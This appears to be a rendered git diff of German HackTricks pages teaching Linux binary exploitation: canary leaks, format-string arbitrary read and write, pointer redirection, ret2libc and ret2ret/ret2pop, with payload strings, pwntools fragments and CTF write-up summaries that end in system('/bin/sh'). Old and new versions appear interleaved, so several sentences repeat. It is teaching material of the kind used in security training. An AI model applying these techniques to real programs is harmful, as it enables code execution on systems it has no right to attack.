Stellen Sie sich eine Situation vor, in der ein **Programm anfällig** für Stacküberläufe eine **puts**-Funktion ausführen kann, die auf einen **Teil** des **Stacküberlaufs zeigt**. Der Angreifer weiß, dass das **erste Byte des Canaries ein Nullbyte** (`\x00`) ist und der Rest des Canaries **zufällige** Bytes sind. Dann kann der Angreifer einen Überlauf erstellen, der den Stack **überschreibt, bis nur noch das erste Byte des Canaries übrig ist**.
Dann ruft der Angreifer die puts-Funktionalität in der Mitte der Nutzlast auf, die **den gesamten Canary druckt** (außer dem ersten Nullbyte).
Dann ruft der Angreifer die puts-Funktionalität in der Mitte des Payloads auf, die **den gesamten Canary druckt** (außer dem ersten Nullbyte).
Mit diesen Informationen kann der Angreifer einen neuen Angriff **entwerfen und senden**, wobei er den Canary kennt (in derselben Programmsitzung).
Offensichtlich ist diese Taktik sehr **eingeschränkt**, da der Angreifer in der Lage sein muss, den **Inhalt** seiner **Nutzlast** zu **drucken**, um den **Canary zu extrahieren** und dann eine neue Nutzlast (in derselben Programmsitzung) zu erstellen und den **echten Pufferüberlauf zu senden**.
Offensichtlich ist diese Taktik sehr **eingeschränkt**, da der Angreifer in der Lage sein muss, den **Inhalt** seines **Payloads zu drucken**, um den **Canary zu extrahieren** und dann in der **gleichen Programmsitzung** ein neues Payload zu erstellen und **den echten Pufferüberlauf zu senden**.
**CTF-Beispiel:** [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
**CTF-Beispiele:**&#x20;
## Beliebiges Lesen
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 Bit, ASLR aktiviert, aber kein PIE, der erste Schritt besteht darin, einen Überlauf zu füllen, bis das Byte 0x00 des Canaries erreicht ist, um dann puts aufzurufen und ihn preiszugeben. Mit dem Canary wird ein ROP-Gadget erstellt, um puts aufzurufen, um die Adresse von puts aus dem GOT preiszugeben, und ein ROP-Gadget, um `system('/bin/sh')` aufzurufen
Mit einem beliebigen Lesen wie dem, das durch Format **Strings** bereitgestellt wird, könnte es möglich sein, den Canary zu **leaken**. Überprüfen Sie dieses Beispiel: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) und Sie können lesen, wie man Formatstrings missbraucht, um beliebige Speicheradressen zu lesen in:
## Beliebige Lesezugriffe
Mit einem beliebigen Lesezugriff wie dem, der durch Format **Strings** bereitgestellt wird, könnte es möglich sein, den Canary preiszugeben. Überprüfen Sie dieses Beispiel: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) und Sie können lesen, wie Sie Formatstrings missbrauchen, um beliebige Speicheradressen zu lesen:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)

42
reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md
View file

@ -2,23 +2,23 @@
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **einreichen**.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
</details>
## Grundlegende Informationen
In C ist **`printf`** eine Funktion, die verwendet werden kann, um einen **String zu drucken**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formattierern**. Die **folgenden erwarteten Parameter** sind die **Werte**, die die **Formattierer** des Rohtexts **ersetzen** sollen.
In C ist **`printf`** eine Funktion, die verwendet werden kann, um einen **String auszugeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden erwarteten Parameter** sind die **Werte**, die die **Formatierer** des Rohtexts **ersetzen** sollen.
Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erster Argument** an diese Funktion übergeben wird. Der Angreifer kann einen **speziellen Eingabe missbrauchen**, um die **Fähigkeiten der printf-Formatzeichenfolge** zu nutzen und **beliebige Daten an beliebiger Adresse zu lesen und zu schreiben (lesbar/schreibbar)**. Auf diese Weise kann er **beliebigen Code ausführen**.
#### Formattierer:
#### Formatierer:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -53,7 +53,7 @@ printf("%x %x %x %x")
```
und Sie würden vom ersten bis zum vierten Parameter lesen.
Oder Sie könnten folgendes tun:
Oder Sie könnten:
```c
printf("$4%x")
```
@ -62,12 +62,12 @@ und lesen Sie direkt den vierten.
Beachten Sie, dass der Angreifer den `pr`**`intf`-Parameter kontrolliert, was im Grunde bedeutet, dass** seine Eingabe im Stapel liegt, wenn `printf` aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stapel schreiben könnte.
{% hint style="danger" %}
Ein Angreifer, der diese Eingabe kontrolliert, kann **beliebige Adressen im Stapel hinzufügen und `printf` dazu bringen, darauf zuzugreifen**. Im nächsten Abschnitt wird erklärt, wie dieses Verhalten genutzt werden kann.
Ein Angreifer, der diese Eingabe kontrolliert, kann **beliebige Adressen im Stapel hinzufügen und `printf` dazu bringen, darauf zuzugreifen**. Im nächsten Abschnitt wird erläutert, wie dieses Verhalten genutzt werden kann.
{% endhint %}
## **Beliebiges Lesen**
Es ist möglich, den Formatter **`$n%s`** zu verwenden, um **`printf`** dazu zu bringen, die **Adresse** zu erhalten, die sich an der **n-Position** befindet, und sie dann zu **drucken, als ob es ein String wäre** (drucken, bis eine 0x00 gefunden wird). Wenn die Basisadresse der Binärdatei **`0x8048000`** ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stapel beginnt, ist es möglich, den Anfang der Binärdatei mit zu drucken:
Es ist möglich, den Formatter **`$n%s`** zu verwenden, um **`printf`** dazu zu bringen, die **Adresse** zu erhalten, die sich an der **n-Position** befindet, und sie dann zu **drucken, als ob es ein String wäre** (drucken, bis eine 0x00 gefunden wird). Wenn die Basisadresse der Binärdatei **`0x8048000`** ist und wir wissen, dass die Benutzereingabe in der vierten Position im Stapel beginnt, ist es möglich, den Anfang der Binärdatei mit auszugeben:
```python
from pwn import *
@ -86,14 +86,14 @@ Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe platzie
## **Willkürliches Schreiben**
Der Formatter **`$<num>%n`** schreibt die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen wie gewünscht mit printf schreiben kann, kann er **`$<num>%n`** dazu bringen, eine beliebige Zahl an eine beliebige Adresse zu schreiben.
Der Formatter **`$<num>%n`** schreibt die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stapel. Wenn ein Angreifer so viele Zeichen wie möglich mit printf schreiben kann, kann er **`$<num>%n`** dazu bringen, eine beliebige Zahl an eine beliebige Adresse zu schreiben.
Glücklicherweise ist es nicht erforderlich, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Stattdessen kann der Formatter **`%.<num-write>%<num>$n`** verwendet werden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, auf die die Position `num` zeigt**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Jedoch ist zu beachten, dass normalerweise zur Angabe einer Adresse wie `0x08049724` (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben), **`$hn`** anstelle von `$n` verwendet wird. Dies ermöglicht es, **nur 2 Bytes zu schreiben**. Daher wird diese Operation zweimal durchgeführt, einmal für die höchsten 2 Bytes der Adresse und ein weiteres Mal für die niedrigeren.
Jedoch ist zu beachten, dass normalerweise, um eine Adresse wie `0x08049724` zu schreiben (was eine GROSSE Zahl ist, um sie auf einmal zu schreiben), **`$hn`** anstelle von `$n` verwendet wird. Dies ermöglicht es, **nur 2 Bytes zu schreiben**. Daher wird diese Operation zweimal durchgeführt, einmal für die höchsten 2 Bytes der Adresse und ein weiteres Mal für die niedrigeren.
Daher ermöglicht diese Schwachstelle, **beliebige Daten an beliebige Adressen zu schreiben (beliebiges Schreiben)**.
@ -103,13 +103,13 @@ In diesem Beispiel soll das Ziel sein, die **Adresse** einer **Funktion** in der
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
Wir werden eine **Funktion überschreiben**, die ihre **Argumente** vom **Benutzer erhält** und sie auf die **`system`**-**Funktion** umleiten.\
Wir werden eine **Funktion überschreiben**, die ihre **Argumente** vom **Benutzer erhält** und sie auf die **`system`** **Funktion** verweisen.\
Wie bereits erwähnt, sind in der Regel 2 Schritte erforderlich, um die Adresse zu schreiben: Sie schreiben zuerst 2 Bytes der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet.
* **HOB** bezieht sich auf die 2 höheren Bytes der Adresse
* **LOB** bezieht sich auf die 2 niedrigeren Bytes der Adresse
Dann, aufgrund der Funktionsweise des Formatstrings, müssen Sie zuerst das kleinere von \[HOB, LOB] schreiben und dann das andere.
Dann, aufgrund der Funktionsweise von Format-Strings, müssen Sie zuerst das kleinere von \[HOB, LOB] schreiben und dann das andere.
Wenn HOB < LOB\
`[Adresse+2][Adresse]%.[HOB-8]x%[Offset]\$hn%.[LOB-HOB]x%[Offset+1]`
@ -156,15 +156,9 @@ p.interactive()
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
</details>
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 Bit, kein relro, kein Canary, NX, kein PIE, grundlegende Verwendung von Format-Strings zum Auslesen der Flagge vom Stack (keine Notwendigkeit, den Ausführungsfluss zu ändern)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 Bit, relro, kein Canary, NX, kein PIE, Format-String zum Überschreiben der Adresse `fflush` mit der Win-Funktion (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 Bit, relro, kein Canary, NX, kein PIE, Format-String zum Schreiben einer Adresse innerhalb von `main` in `.fini_array` (damit der Fluss 1 Mal mehr zurückkehrt) und Schreiben der Adresse zu `system` in der GOT-Tabelle, die auf `strlen` zeigt. Wenn der Fluss zu `main` zurückkehrt, wird `strlen` mit Benutzereingabe ausgeführt und auf `system` verweist, werden die übergebenen Befehle ausgeführt.

53
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md Normal file
View file

@ -0,0 +1,53 @@
# Pointer-Umleitung
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
## Zeigerumleitung
Wenn ein Funktionsaufruf die Adresse eines Strings verwendet, der sich im Stack befindet, ist es möglich, den Pufferüberlauf zu missbrauchen, um **diese Adresse zu überschreiben** und eine **Adresse zu einem anderen String** innerhalb des Binärprogramms zu platzieren.
Wenn beispielsweise ein Funktionsaufruf von **`system`** die **Adresse eines Strings zum Ausführen eines Befehls verwenden soll**, könnte ein Angreifer die **Adresse eines anderen Strings im Stack platzieren**, **`export PATH=.:$PATH`** und im aktuellen Verzeichnis ein **Skript mit dem Namen des ersten Buchstabens des neuen Strings** erstellen, da dies vom Binärprogramm ausgeführt wird.
Ein Beispiel hierfür finden Sie unter:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
* 32-Bit, ändern Sie die Adresse zum Flags-String im Stack, damit sie von `puts` gedruckt wird
## Funktionszeiger
Gleich wie bei Zeiger auf Strings, aber angewendet auf Funktionen. Wenn der **Stack die Adresse einer Funktion enthält**, die aufgerufen wird, ist es möglich, sie zu **ändern** (z. B. um **`system`** aufzurufen).
Ein Beispiel hierfür finden Sie unter:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
## Referenzen
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>

33
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md
View file

@ -16,7 +16,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
## **Grundlegende Informationen**
Die Essenz von **Ret2Libc** besteht darin, den Ausführungsfluss eines anfälligen Programms auf eine Funktion in einer gemeinsam genutzten Bibliothek (z. B. **system**, **execve**, **strcpy**) umzuleiten, anstatt Shellcode auf dem Stapel des Angreifers auszuführen. Der Angreifer erstellt eine Nutzlast, die die Rückkehradresse auf dem Stapel so ändert, dass sie auf die gewünschte Bibliotheksfunktion zeigt, und gleichzeitig dafür sorgt, dass alle erforderlichen Argumente gemäß der Aufrufkonvention korrekt eingerichtet sind.
Die Essenz von **Ret2Libc** besteht darin, den Ausführungsfluss eines anfälligen Programms auf eine Funktion in einer gemeinsam genutzten Bibliothek (z. B. **system**, **execve**, **strcpy**) umzuleiten, anstatt ausführbaren Shellcode auf dem Stapel auszuführen. Der Angreifer erstellt eine Nutzlast, die die Rückkehradresse auf dem Stapel so ändert, dass sie auf die gewünschte Bibliotheksfunktion zeigt, und gleichzeitig dafür sorgt, dass alle erforderlichen Argumente gemäß der Aufrufkonvention korrekt eingerichtet sind.
### **Beispiel-Schritte (vereinfacht)**
@ -41,11 +41,11 @@ for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
* Wenn die verwendete libc bekannt ist, ist es auch möglich, den Offset zur Funktion des Strings `/bin/sh` zu finden mit:
* Wenn die verwendete libc bekannt ist, ist es auch möglich, den Offset zur Zeichenkette `/bin/sh`-Funktion mit folgendem Befehl zu finden:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### Mit gdb-peda / GEF
### Mit gdb-peda / GEF verwenden
Wenn die verwendete libc bekannt ist, ist es auch möglich, Peda oder GEF zu verwenden, um die Adresse der Funktion **system**, der Funktion **exit** und des Strings **`/bin/sh`** zu erhalten:
```
@ -61,7 +61,7 @@ Hier können Sie **genau herausfinden, wo die libc im Prozess geladen ist** und
![](<../../../../.gitbook/assets/image (95).png>)
In diesem Fall wird sie unter **0xb75dc000** geladen (Dies wird die Basisadresse der libc sein)
In diesem Fall wird sie bei **0xb75dc000** geladen (Dies wird die Basisadresse der libc sein)
## Unbekannte libc
@ -95,7 +95,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
## x86 Ret2lib Codebeispiel
In diesem Beispiel ist das ASLR-Brute-Force in den Code integriert und die anfällige Binärdatei befindet sich auf einem Remote-Server:
In diesem Beispiel ist das ASLR-Brute-Force in den Code integriert und die verwundbare Binärdatei befindet sich auf einem Remote-Server:
```python
from pwn import *
@ -119,7 +119,7 @@ c.interactive()
[rop-return-oriented-programing.md](../rop-return-oriented-programing.md)
{% endcontent-ref %}
## Ret-in-printf (oder puts)
## Ret-into-printf (oder puts)
Dies ermöglicht das **Leaken von Informationen aus dem Prozess**, indem `printf`/`puts` mit spezifischen Daten als Argument aufgerufen wird.
@ -131,16 +131,13 @@ Dies bedeutet im Grunde, einen **Ret2lib zu missbrauchen, um ihn in eine `printf
[format-strings](../../format-strings/)
{% endcontent-ref %}
<details>
## Weitere Beispiele & Referenzen
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
* Ret2lib, gegeben ein Leak zur Adresse einer Funktion in libc, unter Verwendung eines One-Gadget
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 Bit, ASLR aktiviert, aber kein PIE, der erste Schritt besteht darin, einen Überlauf zu füllen, bis das Byte 0x00 des Canary erreicht ist, um dann puts aufzurufen und es zu leaken. Mit dem Canary wird ein ROP-Gadget erstellt, um puts aufzurufen und die Adresse von puts aus dem GOT zu leaken, und dann ein ROP-Gadget, um `system('/bin/sh')` aufzurufen.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 Bit, ASLR aktiviert, kein Canary, Stack-Überlauf in main von einer Unterfunktion. ROP-Gadget, um puts aufzurufen und die Adresse von puts aus dem GOT zu leaken, und dann ein One-Gadget.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
* 64 Bit, kein PIE, kein Canary, kein relro, nx. Verwendet die write-Funktion, um die Adresse von write (libc) zu leaken und ruft ein One-Gadget auf.

27
reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md
View file

@ -1,4 +1,4 @@
# Ret2ret
# Ret2ret & Ret2pop
<details>
@ -10,24 +10,33 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
## Grundlegende Informationen
## Ret2ret
Das Hauptziel dieser Technik besteht darin, zu versuchen, **ASLR zu umgehen, indem ein vorhandener Zeiger im Stack missbraucht wird**.
Das Hauptziel dieser Technik ist es, zu versuchen, **ASLR zu umgehen, indem ein vorhandener Zeiger im Stack missbraucht wird**.
Im Allgemeinen werden Stack-Überläufe normalerweise durch Zeichenfolgen verursacht, und **Zeichenfolgen enden mit einem Nullbyte am Ende** im Speicher. Dies ermöglicht es, den Speicherplatz, auf den bereits ein vorhandener Zeiger im Stack zeigt, zu reduzieren. Wenn der Stack beispielsweise `0xbfffffdd` enthielte, könnte dieser Überlauf ihn in `0xbfffff00` umwandeln (beachten Sie das letzte nullte Byte).
Im Allgemeinen werden Stack-Überläufe normalerweise durch Zeichenfolgen verursacht, und **Zeichenfolgen enden im Speicher mit einem Nullbyte am Ende**. Dies ermöglicht es, den Speicherplatz, auf den bereits ein vorhandener Zeiger im Stack zeigt, zu reduzieren. Wenn der Stack beispielsweise `0xbfffffdd` enthielt, könnte dieser Überlauf ihn in `0xbfffff00` umwandeln (beachten Sie das letzte nullte Byte).
Wenn diese Adresse auf unseren Shellcode im Stack zeigt, ist es möglich, den Fluss zu dieser Adresse zu bringen, indem **Adressen zur `ret`-Anweisung hinzugefügt** werden, bis diese erreicht ist.
Wenn diese Adresse auf unseren Shellcode im Stack zeigt, ist es möglich, den Fluss zu dieser Adresse zu bringen, indem **Adressen zur `ret`-Anweisung hinzugefügt werden**, bis diese erreicht ist.
Daher würde der Angriff wie folgt aussehen:
* NOP-Schlitten
* Shellcode
* Überschreiben des Stacks vom EIP mit **Adressen zum `ret`**
* 0x00 hinzugefügt durch die Zeichenfolge, die eine Adresse im Stack ändert und auf den NOP-Schlitten zeigt
* Überschreiben des Stacks vom EIP mit **Adressen zum `ret`** (RET-Schlitten)
* 0x00 hinzugefügt durch die Zeichenfolge, die eine Adresse im Stack modifiziert, sodass sie auf den NOP-Schlitten zeigt
Unter [**diesem Link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) finden Sie ein Beispiel für eine verwundbare Binärdatei und [**in diesem**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) das Exploit.
## Ret2pop
Falls Sie einen **perfekten Zeiger im Stack finden, den Sie nicht ändern möchten** (bei `ret2ret` haben wir das letzte niedrigste Byte in `0x00` geändert), können Sie denselben `ret2ret`-Angriff durchführen, jedoch muss die **Länge des RET-Schlittens um 1 verkürzt werden** (damit das letzte `0x00` die Daten direkt vor dem perfekten Zeiger überschreibt), und die **letzte** Adresse des RET-Schlittens muss auf **`pop <reg>; ret`** zeigen.\
Auf diese Weise werden die **Daten vor dem perfekten Zeiger aus dem Stack entfernt** (dies sind die Daten, die durch die `0x00` betroffen sind), und das **letzte `ret` wird auf die perfekte Adresse** im Stack zeigen, ohne Änderungen.
Unter [**diesem Link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) finden Sie ein Beispiel für eine verwundbare Binärdatei und [**in diesem**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) das Exploit.
## Referenzen
@ -43,6 +52,6 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys einreichen.
